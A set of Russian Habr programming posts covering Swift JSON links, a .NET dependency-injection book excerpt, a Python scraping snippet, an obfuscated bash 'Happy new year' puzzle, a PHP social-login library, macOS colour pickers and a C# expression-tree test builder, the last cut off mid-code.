В ссылке [GitHub](https://github.com/thoughtbot/FunctionalJSON-swift/tree/d3fcf771c20813e57cb54472dd8c55ee33e87ae4) дан лишь окончательный вариант кода. Если вы хотите следовать за логикой статьи шаг за шагом, а также тестировать алгоритмы, представленные в статье, на данных, имитирующих ошибки, то код можно найти [здесь](https://gist.github.com/BestKora/1a4f1581cb8fd7cf8bb2).
Есть еще две статьи Tony DiPasquale в продолжение этой, еще более интересные:
["Real World JSON Parsing with Swift"](http://robots.thoughtbot.com/real-world-json-parsing-with-swift) - перевод ["Реальный мир парсинга JSON в Swift"](http://www.bestkora.com/SwiftLearning/2-realnyj-mir-parsinga-json-v-swift/)
["Parsing Embedded JSON and Arrays in Swift"](http://robots.thoughtbot.com/parsing-embedded-json-and-arrays-in-swift) - перевод ["Парсинг вложенных JSON и массивов (Arrays) в Swift."](http://www.bestkora.com/SwiftLearning/3-parsing-vlozhennyh-json-i-massivov-arrays-v-swift/)
Если кого-то интересуют эксперименты с этими алгоритмами (в том числе и на реальных данных и с имитацией ошибок) :
["Swift код к статьe Tony DiPasquale “Эффективный JSON с функциональными коцепциями и дженериками в Swift”"](http://www.bestkora.com/SwiftLearning/swift-kod-k-statyam-avtora-tony-dipasquale/)
["Swift код к статье Tony DiPasquale “Реальный мир парсинга JSON в Swift”"](http://www.bestkora.com/SwiftLearning/category/avtory/tony-depasquale/)
["Swift код к статье “Парсинг вложенных JSON и массивов (Arrays) в Swift.”"](http://www.bestkora.com/SwiftLearning/category/parsing-json/)```` | https://habr.com/ru/post/244821/ | null | ru | null |
# Книга «Внедрение зависимостей на платформе .NET. 2-е издание»
[](https://habr.com/ru/company/piter/blog/545252/) Привет, Хаброжители! Парадигма внедрения зависимостей (DI) в течение минувшего десятилетия де-факто стала одной из доминирующих на платформе .NET и теперь обязательна к изучению для всех .NET-разработчиков.
Это переработанное и дополненное издание классической книги «Внедрение зависимостей в .NET». Вы научитесь правильно внедрять зависимости для устранения жесткой связи между компонентами приложения. Познакомитесь с подробными примерами и усвоите основы работы с ключевыми библиотеками, необходимыми для внедрения зависимостей в .NET и .NET Core.
**В книге:**
* Рефакторинг существующего кода в слабо связанный код
* Методы DI, которые работают со статически типизированными ОО языками
* Интеграция с общими платформами .NET Framework
* Обновленные примеры, иллюстрирующие DI в .NET Core
Антипаттерны внедрения зависимостей
-----------------------------------
> **В этой главе**
>
>
>
> * Создание кода с сильной связанностью при использовании антипаттерна «Диктатор» (Control Freak).
> * Запрашивание зависимостей класса с применением антипаттерна «Локатор сервисов» (Service Locator).
> * Придание нестабильной зависимости глобальной доступности при использовании антипаттерна «Окружающий контекст» (Ambient Context).
> * Принудительное использование конкретной сигнатуры конструктора с применением антипаттерна «Ограниченная конструкция» (Constrained Construction).
>
Многие блюда готовятся на сковороде с маслом. Если рецепт еще не освоен, можно начать прогревать масло, отвернуться от сковороды и вчитываться в рецепт. Но, как только завершится нарезка овощей, масло начнет подгорать. Можно подумать, что дымящееся масло означает, что сковорода нагрелась и готова к приготовлению блюда. Это обычное заблуждение неопытных поваров. Когда масло начинает подгорать, оно также начинает разлагаться. Это называется достижением температуры дымообразования. Большинство подгоревших масел приобретают неприятный вкус, но это еще не все. Они образуют вредные соединения и теряют полезные антиоксиданты.
В предыдущей главе приводилось краткое сравнение паттернов проектирования с рецептами. Паттерн предоставляет понятный всем язык, которым можно воспользоваться для конструктивного обсуждения сложной концепции.
Когда концепция (или, скорее, реализация) искажается, у нас получается антипаттерн.
> **ОПРЕДЕЛЕНИЕ**
>
>
>
> Под антипаттерном понимается часто встречающееся решение проблемы, порождающее явные негативные последствия, хотя наряду с ним существуют и другие доступные задокументированные решения, доказавшие свою эффективность.
Перегревшееся задымившее масло — типичный пример, подпадающий под понятие кулинарного антипаттерна. Это весьма распространенная ошибка. Ее допускают многие неопытные повара, поскольку им кажется, что так и нужно делать, а негативные последствия выражаются в том, что еда теряет вкус и становится вредной.
Антипаттерны в некотором смысле являются формализованным способом описания распространенных ошибок, неоднократно допускаемых людьми. В этой главе будет рассмотрен ряд наиболее распространенных антипаттернов, связанных с внедрением зависимостей. Все они в той или иной форме попадались нам в ходе профессиональной деятельности, да мы и сами порой грешили их применением.
Зачастую антипаттерны являются простыми попытками реализации DI в приложении. Но из-за своего неполного соответствия основам DI-реализации могут превратиться в решения, приносящие больше вреда, чем пользы. Изучение этих антипаттернов может дать вам представление о том, какие ловушки следует обходить при реализации своих первых проектов с применением DI. Но даже при многолетнем опыте применения DI можно запросто ошибиться.
> **ВНИМАНИЕ**
>
>
>
> Эта глава отличается от других глав, поскольку основной объем демонстрируемого кода является примером того, как не следует выполнять реализацию DI. Не пытайтесь повторять это на практике!
Исправления в антипаттерны могут быть внесены путем реструктуризации кода в направлении одного из паттернов DI, представленного в главе 4. Насколько сложно будет выполнить исправление в каждом отдельно взятом случае, зависит от особенностей реализации. Для каждого антипаттерна будут предоставлены некие обобщенные рекомендации по его реструктуризации в целях получения наиболее подходящего паттерна.
> **ПРИМЕЧАНИЕ**
>
>
>
> Поскольку данная тема не является для этой книги главной, реструктуризация от антипаттерна DI к паттерну будет рассмотрена только в настоящей главе. Если есть заинтересованность в углубленном изучении возможностей переработки уже существующих приложений в сторону использования технологии DI, то этому посвящена целая книга: Feathers M. C. Working Effectively with Legacy Code. — Prentice Hall, 2004. Хотя речь в ней идет не только о DI, она охватывает большинство понятий, изучаемых в данной книге.
Для придания ему тестируемости иногда устаревший код требует радикальных мер. Зачастую это означает постепенное внесение изменений, позволяющих избежать случайного вывода из строя ранее работающего приложения. В некоторых случаях наиболее подходящим временным решением может стать применение антипаттерна. Несмотря на то что такой шаг может оказаться улучшением по сравнению с исходным кодом, важно отметить, что от этого он не становится паттерном; существуют и другие задокументированные и повторяемые решения, доказавшие свою эффективность. Антипаттерны, рассматриваемые в этой главе, сведены в табл. 5.1.
Остальная часть главы описывает каждый антипаттерн, представляя их в порядке важности. Читать главу можно последовательно или изучать только то, что представляет интерес, поскольку разделы не связаны друг с другом. Если читать все подряд не захочется, то советуем обратиться к соответствующим разделам об антипаттернах «Диктатор» и «Локатор сервисов».
Наиболее важным считается паттерн внедрения зависимостей через конструктор, а в качестве наиболее часто встречающегося антипаттерна фигурирует «Диктатор». Он сильно мешает применению любой правильной технологии DI, поэтому, прежде чем приступать к изучению других антипаттернов, предлагаем сфокусировать внимание именно на нем. Но наибольшую опасность представляет антипаттерн «Локатор сервисов», поскольку в нем зачастую видят решение проблемы, создаваемой антипаттерном «Диктатор». Он будет рассмотрен в разделе 5.2.
### 5.1. Антипаттерн «Диктатор»
Что противоположно инверсии управления? Изначально понятие «инверсия управления» было придумано для противопоставления обычному положению дел, но мы не можем вести речь об антипаттерне «обычного порядка». Вместо этого для описания класса, не отказывающегося от управления своими нестабильными зависимостями, применим термин «Диктатор».
> **ОПРЕДЕЛЕНИЕ**
>
>
>
> Антипаттерн «Диктатор» всегда формируется в любом месте, кроме корня композиции, где код полагается на применение нестабильной зависимости. Он нарушает принцип инверсии зависимостей, рассмотренный в подразделе 3.1.2.
Антипаттерн «Диктатор» формируется, к примеру, при создании нового экземпляра нестабильной зависимости с помощью ключевого слова new. Реализация антипаттерна «Диктатор» показана в листинге 5.1.
При каждом создании нестабильной зависимости получается неявное утверждение о намерении управлять жизненным циклом экземпляра и о том, что никто другой не получит возможности перехватывать данный конкретный объект. Хотя использование ключевого слова new в отношении нестабильной зависимости — пример проблемного кода, к его применению в отношении стабильных зависимостей это не относится.
> **ПРИМЕЧАНИЕ**
>
>
>
> Не нужно думать, что ключевое слово new вдруг стало «незаконным», но от его использования для получения нестабильной зависимости вне корня композиции нужно воздерживаться. К тому же не следует забывать и о статических классах, которые также могут стать нестабильными зависимостями. Хотя вы никогда не будете использовать ключевое слово new в отношении этих классов, зависимость от этих классов вызывает те же самые проблемы.
>
>
Наиболее явно антипаттерн «Диктатор» проявляется, когда не предпринимается никаких усилий для ввода в код каких-либо абстракций. Несколько соответствующих примеров вы уже видели в главе 2, когда Мэри создавала свое приложение электронной торговли (см. раздел 2.1). Попытка ввода DI при таком подходе не делается. Но даже там, где разработчики что-то слышали о технологии DI и о возможности создания компоновки, антипаттерн «Диктатор» зачастую в той или иной вариации все же встречается.
В следующих подразделах будет показано несколько примеров, напоминающих код, встречавшийся нам на практике. В каждом из рассматриваемых случаев разработчики старались улучшить интерфейсы, но при этом не разбирались как следует в исходных намерениях и мотивах.
### 5.1.1. Пример: антипаттерн «Диктатор», полученный путем обновления зависимостей с применением ключевого слова new
Многие разработчики слышали о принципе программирования для интерфейсов, но не понимали заложенного в него глубокого смысла. Пытаясь все сделать правильно или придерживаться передового опыта, они создавали код, не имеющий особого смысла. Так, в листинге 3.9 был показан вариант ProductService, использующий для извлечения предлагаемых товаров экземпляр интерфейса IProductRepository. Напомним, как выглядел соответствующий код:
```
public IEnumerable GetFeaturedProducts()
{
return
from product in this.repository.GetFeaturedProducts()
select product.ApplyDiscountFor(this.userContext);
}
```
Здесь важно то, что компонентная переменная repository представляет собой абстракцию. В главе 3 вы видели, как поле repository может быть заполнено внедрением через конструктор, но нам встречались и другие, более примитивные попытки. Одна из них приводится в листинге 5.2.
Поле repository объявлено через интерфейс IProductRepository, поэтому любой компонент в классе ProductService (например, GetFeaturedProducts) программируется для интерфейса. Хотя все это представляется правильным, из этого мало что получается, поскольку во время выполнения программы типом всегда будет SqlProductRepository. Способов перехвата или изменения переменной repository нет, если только не изменить и не перекомпилировать сам код. Кроме того, если жестко запрограммировать переменную так, что у нее всегда будет конкретный тип, то из ее объявления абстракцией ничего путного не получится. Непосредственное создание зависимостей с применением ключевого слова new является одним из примеров антипаттерна «Диктатор».
Прежде чем перейти к анализу и возможным способам решения возникающих проблем, порождаемых применением антипаттерна «Диктатор», рассмотрим еще несколько примеров для получения более четкого представления о контексте и общих чертах неудачных попыток применения технологии DI. В следующем примере сразу просматривается неудачное решение. Большинство разработчиков попытается усовершенствовать свой подход.
#### Об авторах
Стивен ван Дерсен (Steven van Deursen) — фрилансер из Нидерландов, занимающийся разработками и проектированием в среде .NET и получивший богатый опыт работы в этой сфере начиная с 2002 года. Он живет в Неймегене, занимается программированием и зарабатывает этим на жизнь. Помимо программирования Стивен увлекается боевыми искусствами, любит поесть и, конечно же, выпить хорошего виски.
Марк Симан (Mark Seemann) — программист, проектировщик программных средств и лектор, живет в столице Дании Копенгагене. Разработкой программных средств он занимается с 1995 года, а технологией TDD увлекается с 2003-го, в том числе шесть лет был консультантом, разработчиком и проектировщиком в компании Microsoft. В настоящий момент Марк занимается разработкой ПО. Он увлекается чтением, рисованием, игрой на гитаре, любит хорошее вино и изысканную еду.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/vnedrenie-zavisimostey-na-platforme-net-2-e-izdanie)
» [Оглавление](https://www.piter.com/collection/new/product/vnedrenie-zavisimostey-na-platforme-net-2-e-izdanie#Oglavlenie-1)
» [Отрывок](https://www.piter.com/collection/new/product/vnedrenie-zavisimostey-na-platforme-net-2-e-izdanie#Otryvok-1)
Для Хаброжителей скидка 25% по купону — **.NET**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/545252/ | null | ru | null |
# И снова закинул старик невод… (парсинг хабра, продолжение)
Примерно месяц назад я опубликовал пост [Вернулся невод с тиной морскою...](http://habrahabr.ru/post/188678/), речь там шла о сравнении частотных словарей Википедии и Башорга. В комментах было много идей насчёт того, как это сделать правильно, а так же просьб распарсить другие сайты — Луркмор и конечно же Хабрахабр.
По ссылке частотные слова из комментариев Хабра, которые никогда не встречались в постах Хабра (осторожно, довольно много ненормативной лексики):
[docs.google.com/file/d/0B-1U-yPHh8eSbk52bW84NXFyYm8/edit?usp=sharing](https://docs.google.com/file/d/0B-1U-yPHh8eSbk52bW84NXFyYm8/edit?usp=sharing)
Ещё за недолгое время пребывания здесь, я не мог не заметить любовь здешних обитателей к созданию и употреблению «хабраслов», захотелось оценить масштабы явления.
Хабраслова (точнее словоформы, стеммингом не занимался) отсортированные по частоте употребления:
[docs.google.com/file/d/0B-1U-yPHh8eST3l6M0tuZzVEOFE/edit?usp=sharing](https://docs.google.com/file/d/0B-1U-yPHh8eST3l6M0tuZzVEOFE/edit?usp=sharing)
Они же, но отсортированные в лексикографическом порядке:
[docs.google.com/file/d/0B-1U-yPHh8eSaFVsYTdJaGtlQUU/edit?usp=sharing](https://docs.google.com/file/d/0B-1U-yPHh8eSaFVsYTdJaGtlQUU/edit?usp=sharing)
Немного кода:
```
#этот велосипед я использую всегда для получения нужных мне кусков html-а
def generic_get(soup,search_tag,condition):
l=[]
for e in soup.findAll(search_tag):
d=dict(e.attrs)
if condition(d):
l.append(e)
return l
#получаем текст поста
def get_post_text(main_soup):
return generic_get(main_soup,
"div",
lambda d:d.get("class",[''])[0]=="post")[0].text
#получаем текст всех комментов
def get_comments_text(main_soup):
return ' '.join([x.text for x in generic_get(main_soup,
"div",
lambda d:d.get("class",[''])[0]=="message")])
```
К примеру, для получения текста этого поста, нужно сделать следующее:
```
>>> import BeautifulSoup
>>> import urllib
>>> bs=BeautifulSoup(urllib.urlopen("http://habrahabr.ru/post/192670/"))
>>> print get_post_text(bs)
```
**И получим** Пожалуй, пост, который цитирует себя целиком, включая цитирование себя, включая… и т.д. это было бы оригинально… Я читал, что одному священнослужителю удалось написать нечто подобное на могиле своей собаки, но я, пожалуй, пытаться не буду...
**Апдейт**
В комментариях выложили частотный словарь Башорга — [habrahabr.ru/post/192670/#comment\_6692542](http://habrahabr.ru/post/192670/#comment_6692542)
Частотный словарь Хабра тоже будет, я случайно ошибся при разбивке на слова, у меня буква «ё» попала в разделители, я забыл, что в таблице кодов она не находится между «а» и «я», и некоторые слова оказались разрезаны. Вечером запущу всё пересчитать, а завтра утром выложу. | https://habr.com/ru/post/192670/ | null | ru | null |
# Fucky new year!
Простите за мат в заголовке, это намёк на развлечение, начало которому дал язык «Брейнфак» — написать на каком-либо языке код, выполняющий что-то разумное, не используя букв и цифр. Мы уже видели [*JSFuck*](http://habrahabr.ru/post/112530/), [*PHPFuck*](http://habrahabr.ru/post/193986/), теперь я вам хочу представить *Bashfuck*:
```
__=${_##*/};____=<(:);___=${__#???};_____=$((${#___}<<${#___}))
__=${__::-${#___}}${____:$_____:${#___}}
__=$__$((${#__}|$_____))$((${#__}));___=$___${__:${#___}:${#___}};____=$($__<<<$_____|$__)
_____=${____:$((${#__}-${#___})):${#?}};___=$___$_____$_____;____=$($__<<<$____|$__|$__)
___=$___${____:$((${#?}+${#__})):${#?}};___=$___' '${____:$((${#___}+${#___})):${#?}}
___=$___${__:$((${#____}/${#___}-${#?})):${#?}};___=$___${____:$((${#____}#$_____-${#___})):${#?}}
___=$___\ ${____:$((${#__}+${#?})):${#?}}${__:$((${#__}>>${#?})):${#?}}${__:${#_____}:${#?}}
___=$___${____:$((${#___}-${#?}-${#?})):${#?}};___=${___,,}
____=${____:$((${#___}+${#__}-${#?})):$((${#?}+${#?}))}
____=${____::${#?}}${__:${#_____}:${#?}}${____:${#?}};${____,,}<<<${___^}
```
Для запуска потребуется «Баш» *четвёртой* версии. Ничего вредоносного скрипт не делает ~~смело запускайте из-под «рута»~~, просто выведет надпись «Happy new year». [Исходник](https://github.com/bolknote/shellgames/blob/master/happynewyear.bash) надо скопировать в файл и запустить.
Теперь немного о принципе работы.
«Баш», к счастью, богат на разнообразные закорюки, но имена переменных, в условиях наших ограничений, могут состоять только из разного количество символов подчёркивания, их хорошо видно в коде — в них я собираю нужные последовательности букв. Откуда же берутся сами буквы?
О, тут мне пришлось поломать голову!
Чтобы начать получать буквы в промышленных количествах, мне сначала нужно получить в какой-то переменной имя команды *base64* — передавая ей на вход всякий бред, можно получить на выходе весь алфавит.
Первые три буквы я взял из имени командного интерпретатора («*bash*», благо путь к нему передаётся на входе в переменной «$\_»), а четвёртую — из имени специального файла, который используется, если некая программа не умеет принимать данные на стандартный вход. Имя файла всегда начинается с «*/dev/fd*», отсюда и берётся недостающая «*e*».
Цифры получить проще.
Во-первых, «баш» (как и многие шеллы) позволяет измерить длину переменной через конструкцию «${#имя}» (например, получить единицу проще простого — это просто длина значения переменной кода возврата предыдущей команды, так как у меня это значение всегда ноль, её длина всегда один).
Во-вторых, конструкция $((…)) позволяет делать вычисления, комбинируя длины разных переменных с операциями, я получаю недостающие цифры. Операций много, что даёт довольно большую свободу, из экзотики мне пришлось один раз применить операцию смены системы исчисления — решётку.
После того как я получил команду «*base64*», подставляя ей на вход (иногда через цепочку вызовов) имеющиеся у меня данные, можно выудить из возвращаемого мусора оставшиеся буквы. Их я выкусываю при помощи операции удаления символов или выделения подстроки — эти операции в «шеллах» так же делаются «закорюками».
Ближе к концу пригождаются новые операции с переменными в четвёртом «баше» — там теперь можно менять регистр буквы, без этого пришлось бы куда тяжелее.
Так в конце получается команда «*cat<<<'Happy new year'*», которую я и запускаю. Почему не «*echo*» или «*printf*»? Они просто длиннее — каждая лишняя буква это морока с переменными и операциями.
Happy new year! | https://habr.com/ru/post/247161/ | null | ru | null |
# PHPixie Social — простая интеграция с соцсетями
Авторизация через соцсети это одна из самих частых задач с которыми сталкиваются разработчики развлекательных сайтов. Казалось бы там и делать нечего, ведь для каждого API существует PHP библиотека от самого вендора. Но что делать если надо подключить сразу несколько? Не хочется тянуть в проект кучу библиотек которые имплементируют один и тот же протокол OAuth, к тому же хотелось бы иметь какой-то единый интерфейс. PHPixie Social — маленькая библиотека с только одной зависимостью, которая позволяет легко работать сразу с Facebook, Twitter, Google и Вконтакте, а если вы используете PHPixie фреймворк то также сразу получаете авторизацию всего в несколько строчек кода.
Но сначала рассмотрим компонент сам по себе.
**Конфигурация**
```
php
$config = array(
// Имена провайдеров могут быть произвольными,
// но для простоты примера имя я взял с типа API
'facebook' = array(
'type' => 'facebook',
'appId' => '',
'appSecret' => '',
// опционально права которые запросить у пользователя,
'scope' => array(),
// опционально версия API
'apiVersion' => '2.3'
),
'twitter' => array(
'type' => 'twitter',
// Twitter работает через OAuth 1.0a
// поэтому поля отличаются
'consumerKey' => '',
'consumerSecret' => ''
),
'google' => array(
'type' => 'google',
'appId' => '',
'appSecret' => '',
// опционально
'scope' => array(),
'apiVersion' => '2.3'
),
'vk' => array(
'type' => 'vk',
'appId' => '',
'appSecret' => '',
// опционально
'scope' => array(),
'apiVersion' => '2.3'
),
);
```
**Инициализация**
```
// та единственная зависимость
$slice = new \PHPixie\Slice();
$config = $slice->arrayData($config);
$social = new \PHPixie\Social($config);
```
**Авторизация пользователя**
Итак первое что нам надо сделать это запросить у пользователя авторизацию, для этого нам понадобится придумать какую-то ссылку куда API пришлет нам токен доступа. Тогда мы перенаправляем пользователя на страницу авторизации. Вот простой пример:
```
$callbackUrl = 'http://localhost.com/callback=1';
if(!isset($_GET['callback'])) {
//Если параметра нет, далаем редирект
$loginUrl = $social->get('facebook')->loginUrl($callbackUrl);
header('Location: '.$loginUrl);
} else {
// Если параметр есть, значит это к нам пришел ответ от API,
// с ним придет еще много параметров которые Social обработает сам.
// Заметьте, что значение $callbackUrl тут тоже нужно
$socialUser = $social->get('faceebook')->handleCallback($callbackUrl, $_GET);
if($socialUser === null) {
// Пользователь отклонил авторизацию
echo "You didn't authorize our app";
}else{
// Запрос к API от имени пользователя
var_dump($socialUser->get('me'));
}
}
```
**Объект пользователя**
```
$socialUser->id(); // ID пользователя в соцсети
// Дополнительная информация доступна после логина
$socialUser->loginData();
// GET Запрос
$socialUser->get('some/endpoint', $queryParams = array());
// POST Запрос
$socialUser->post('some/endpoint', $data = array(), $queryParams = array());
// Произвольный запрос
$socialUser->api('PUT', 'some/endpoint', $queryParams = array(), $data = array());
// Токен авторизации,
// его можно сериализировать и сохранить
// в сессии или в базе
$token = $social->token();
// Получить пользователя по токену
$socialUser = $social->get('facebook')->user($token);
// Кстати запросы можно делать сразу с токеном
$social->get('facebook')->get($token, 'some/endpoint', $queryParams = array());
$social->get('facebook')->post($token, 'some/endpoint', $data = array(), $queryParams = array());
$social->get('facebook')->api($token, 'PUT', 'some/endpoint', $queryParams = array(), $data = array());
```
**Интеграция с фреймворком**
В фреймворке по умолчанию доступен плагин к модулю авторизации, который обрабатывает логин пользователя и легко включается в его конфигурации. Те кто уже работает с фреймворком не найдут в этом ничего сложного, так что в этот раз вместо описания я оставлю ссылку на демо проект: <https://github.com/phpixie/demo-socialauth>
В нем пользователь сам выбирает через какую сеть авторизоваться. Если он зашел впервые, ему сразу-же создастся запись в табличке *Users* и логин запомнится через сессию. При последующем логине будет уже использоваться сущность с базы.
Чтобы попробовать Social, достаточно просто *composer require phpixie/social*, ну и как всегда, если у вас возникнуть какие-либо вопросы, обращайтесь сразу к нам в чат. | https://habr.com/ru/post/303108/ | null | ru | null |
# Стандартный Color Picker для веб-дизайнера
Любой веб-дизайнер трудящийся на Маке не раз сталкивался с проблемой получения цвета напрямую с экрана или из окна браузера. Существует множество способов это сделать, например панель Web Developer в Safari или целая армия всеразличных «экранных линеек» от сторонних разработчиков.
Проще всего эту задачу решает самое обыкновенное окно выбора цвета, которое есть на маке изначально.
#### Что есть изначально?
Колор пикер умеет брать цвет экрана, достаточно нажать на кнопку с изображением лупы в левом верхнем углу каждого таба. Он позволяет удобно выбирать цвета, поддерживает CMYK, RGB и HSB и т.п. Вобщем, функционал вполне достаточный.
Не хватает только hex значений. Для этого надобно установить плагин. Их существует довольно-таки много, но методом проб и ошибок я выбрал один, наиболее удобный именно для веб-дизайна: [Hex Color Picker](http://wafflesoftware.net/hexpicker/) от Waffle Software. Во-первых, он бесплатен и во-вторых его интерфейс был самым наглядным и понятным, что важно при быстрой работе с окнами.
Вот какие еще плагины для Color Picker'а мне удалось найти:
[Old Jewel Software — Painter's Picker](http://www.old-jewel.com/ppicker/index.html) (платный, $20)
[Chromatic Bytes — Shades](http://www.chromaticbytes.com/shadesTour.php) (платный, $18)
[Lithoglyph — Mondrianum 2](http://www.lithoglyph.com/mondrianum/) (бесплатный, интегрируется с [Adobe kuler](http://kuler.adobe.com/))
[Tangerine](http://www.tangerine.net.au/index.html) (аж $40 хотят)
[Developer Color Picker](http://www.panic.com/~wade/picker/) (бесплатный, судя по адресу сайта от создателей Transmit и Coda)
#### Установка плагина для Color Picker
Скачать Hex Color Picker можно [здесь](http://wafflesoftware.net/hexpicker/download/1.6.1/).
Плагин для Color Picker, представляет из себя бандл с расширением *.colorpicker*. Все плагины сосредоточены в укромном месте в директории пользователя:
`~/Library/ColorPickers/`
Достаточно распаковать скачанный архив и затащить файл *HexColorPicker.colorPicker* туда. После этого перезапускаем открытые приложения, пробуем выбрать цвет и видим еще одну вкладку в окне выбора цвета. Теперь hex'совое значение будет доступно в любой аппликации.
По началу я столкнулся c некоторыми проблемами — схваченные с экрана цвета не соответствовали, тем что были заданы в CSS. Решение было простым и нашлось в настройках плагина.
Оказалось, что нужно отключить получение калиброванных цветов.
#### LittlePicker для хабрачеловека
Нарадовавшись удобству нового цветохватателя, обнаружил, что еще одна проблема не решена: как же быстро получить доступ к панели цветов? Держать для этого постоянно открытый TextEdit как-то не удобно. Поискал в Сети — подходящего решения не нашел. И, как обычно, на экране запрыгал значок XCode — стал писать свое.
Назвал просто — *LittlePicker*.
Чтобы счастье было полным, color picker можно вызывать по горячей клавише F6. Я добавил его в Startup Items и теперь цвет любой точки экрана доступен сразу же после загрузки Мака. Работает на Mac OS X 10.5 и выше.
Мне существующего функционала пока хватает. Но, если у хабрасообщества есть идеи/предложения что добавить или изменить в LittlePicker, с удовольствием их реализую.
[Скачать можно здесь](http://victor.fm/files/littlepicker.zip)
#### Что дальше?
Для любознательных есть потрясающий подробный мануал на английском языке — [The Macintosh OS X Color Picker](http://www.robinwood.com/Catalog/Technical/OtherTuts/MacColorPicker/MacColorPicker.html) от ~~Робина Гуда~~ Робина Вуда. Расписано буквально все.
**UPD:** В комментариях высказались в пользу еще одного способа забора цвета с экрана существующего Mac OS X. Приложение называется DigitalColor Meter. | https://habr.com/ru/post/86722/ | null | ru | null |
# А вы знаете где можно применить expression's в вашем проекте или оптимизация создания тестов
#### 0. Лирика
Поговорим про unit тестирование. Для больших и возрастных проектов весьма актуальна проблема «толстых» сервисов. Я сейчас говорю про большое количество зависимостей передаваемых в конструктор. Если к этому добавить несколько десятков методов, которые необходимо тестировать, становится очевидно, что тратится много времени на мокирования ненужных частей. Решить проблему поможет автоматизация,. т.е. создание экземпляра необходимого типа и мокирование неиспользованных зависимостей в процессе выполнения.
Получается нам нужно
```
var myService = new MyService(A.Fake(), new Sevice2(),
A.Fake(), A.Fake(),
A.Fake(), A.Fake())
```
заменить на нечто похожее. Напоминает паттерн builder, не так ли?
```
var myService = GetInstance().With(new Sevice2()).Subject;
```
Главное не переборщить с автоматизацией. Производительность тоже важна, особенно если в проекте несколько десятков тысяч тестов, которые будут запускаться как локально, так и в настроенном CI.
Разумеется нам не обойтись без рефлексии.
#### 1. Получаем всю необходимую информацию о типе
Для начала уточним, что моки, которые мы будем использовать при создании экземпляра, будут храниться в \_overriddenTypes поле, используя следующую логику.
```
public ObjectBuilder With(TParam param)
{
\_overriddenTypes.Add(typeof(TParam), param);
return this;
}
```
Дальше рассмотрим код, который подготавливает информацию для creator. Тут нам как раз-таки пригодится рефлексия.
```
private T Build()
{
var type = typeof(T);
var constructors = type.GetConstructors().Where(x => x.IsPublic).ToList();
var parameterizedConstructors = constructors.Where(x => x.GetParameters().Any()).ToList();
if (!parameterizedConstructors.Any())
{
// тут можно выбросить исключение
}
var constructor = parameterizedConstructors.Single();
var parametersType = constructor.GetParameters().Select(x => x.ParameterType).ToList();
var arguments = parametersType.Select(x => _overriddenTypes.ContainsKey(x) ? _overriddenTypes[x] : Create.Fake(x)).ToArray();
return GetObject(constructor, parametersType, arguments);
}
```
В выше представленном коде видно, что для мокирования я использовал FakeItEasy библиотеку.
#### 2. Система кеширования
```
private T GetObject(ConstructorInfo constructor, List constructorParametersType, object[] arguments)
{
if (\_objectCreatorCache != null)
{
return \_objectCreatorCache(arguments);
}
var creator = GetObjectCreator(constructor, constructorParametersType);
\_objectCreatorCache = creator;
return creator(arguments);
}
```
Здесь может быть не совсем понятно, как это работает, и по какой причине для кеширования я использую поле в этом же классе. Будем учитывать, что определение класса выглядит следующим образом:
```
public class ObjectBuilder
{...}
```
А так же для кеширования используется статическое поле:
```
private static Func \_objectCreatorCache;
```
Напомню что статические поля в дженерик классах обладают одной особенностью (на первый взгляд не очевидной): для каждого нового дженерик объекта закрытого уникальным типом будет существовать свой статический член.
#### 3. Создание экземпляра в рантайме
Первый приходящий на ум вариант (на самом деле какое-то время он был единственным) — это использование класса Activator и его метода CreateInstance().
```
Activator.CreateInstance();
```
С точки зрения производительности, это не совсем подходящее решение, да и с кеширование тут могут возникнуть проблемы. Получается этот вариант нам не подходит, т.к., если предположить, что в каждом новом тесте нам будет требоваться мокирование зависимойстей сервиса отличных от тех, что использовались в предыдущем тесте.
После внедрения expression's в платформу, появился ещё один, возможно более объёмный способ создания экземпляров типов в рантайме. Его мы и применим.
#### 3.1 Expression object creator
Чем хорош этот подход? В конечном итоге мы получаем скомпилированную лямбду, а не экземпляр объекта. Это позволит использовать кеширование. Я не рекомендую применять данный подход есть требуется единовременное получение экземпляра объекта, Activator справиться с этой задачей значительно быстрее.
```
private Func GetObjectCreator(ConstructorInfo constructor, List constructorParametersType)
{
var param = Expression.Parameter(typeof(object[]), "parameters");
var argsExpressions = new Expression[constructorParametersType.Count];
for (var index = 0; index < constructorParametersType.Count; index++)
{
var constantIndex = Expression.Constant(index);
var paramAccessorExp = Expression.ArrayIndex(param, constantIndex);
var paramCastExp = Expression.Convert(paramAccessorExp, constructorParametersType[index]);
argsExpressions[index] = paramCastExp;
}
var newExpression = Expression.New(constructor, argsExpressions);
var lambda = Expression.Lambda(typeof(Func), newExpression, param);
return (Func)lambda.Compile();
}
```
P.S. Если будет интересно, я могу провести сравнение производительности, а также в деталях описать работу с expression's.
P.S.S. Ниже представлен полный код данного builder'a
```
public class ObjectBuilder
{
private static Func \_objectCreatorCache;
private readonly Dictionary \_overriddenTypes;
private readonly Lazy \_subject;
public ObjectBuilder()
{
\_overriddenTypes = new Dictionary();
\_subject = new Lazy(Build);
}
public T Subject => \_subject.Value;
public ObjectBuilder With(TParam param)
{
if (\_subject.IsValueCreated)
{
throw new Exception("Can't change builder options after first call to Object. Please create new one");
}
\_overriddenTypes.Add(typeof(TParam), param);
return this;
}
private T Build()
{
var type = typeof(T);
var constructors = type.GetConstructors().Where(x => x.IsPublic).ToList();
var parameterizedConstructors = constructors.Where(x => x.GetParameters().Any()).ToList();
if (!parameterizedConstructors.Any())
{
// тут пожалуй можно выбросить исключение
}
var constructor = parameterizedConstructors.Single();
var constructorParametersType = constructor.GetParameters().Select(x => x.ParameterType).ToList();
var arguments = constructorParametersType.Select(x => \_overriddenTypes.ContainsKey(x) ? \_overriddenTypes[x] : Create.Fake(x)).ToArray();
return GetObject(constructor, constructorParametersType, arguments);
}
private T GetObject(ConstructorInfo constructor, List constructorParametersType, object[] arguments)
{
if (\_objectCreatorCache != null)
{
return \_objectCreatorCache(arguments);
}
var creator = GetObjectCreator(constructor, constructorParametersType);
\_objectCreatorCache = creator;
return creator(arguments);
}
private Func GetObjectCreator(ConstructorInfo constructor, List constructorParametersType)
{
var param = Expression.Parameter(typeof(object[]), "parameters");
var argsExpressions = new Expression[constructorParametersType.Count];
for (var index = 0; index < constructorParametersType.Count; index++)
{
var constantIndex = Expression.Constant(index);
var paramAccessorExp = Expression.ArrayIndex(param, constantIndex);
var paramCastExp = Expression.Convert(paramAccessorExp, constructorParametersType[index]);
argsExpressions[index] = paramCastExp;
}
var newExpression = Expression.New(constructor, argsExpressions);
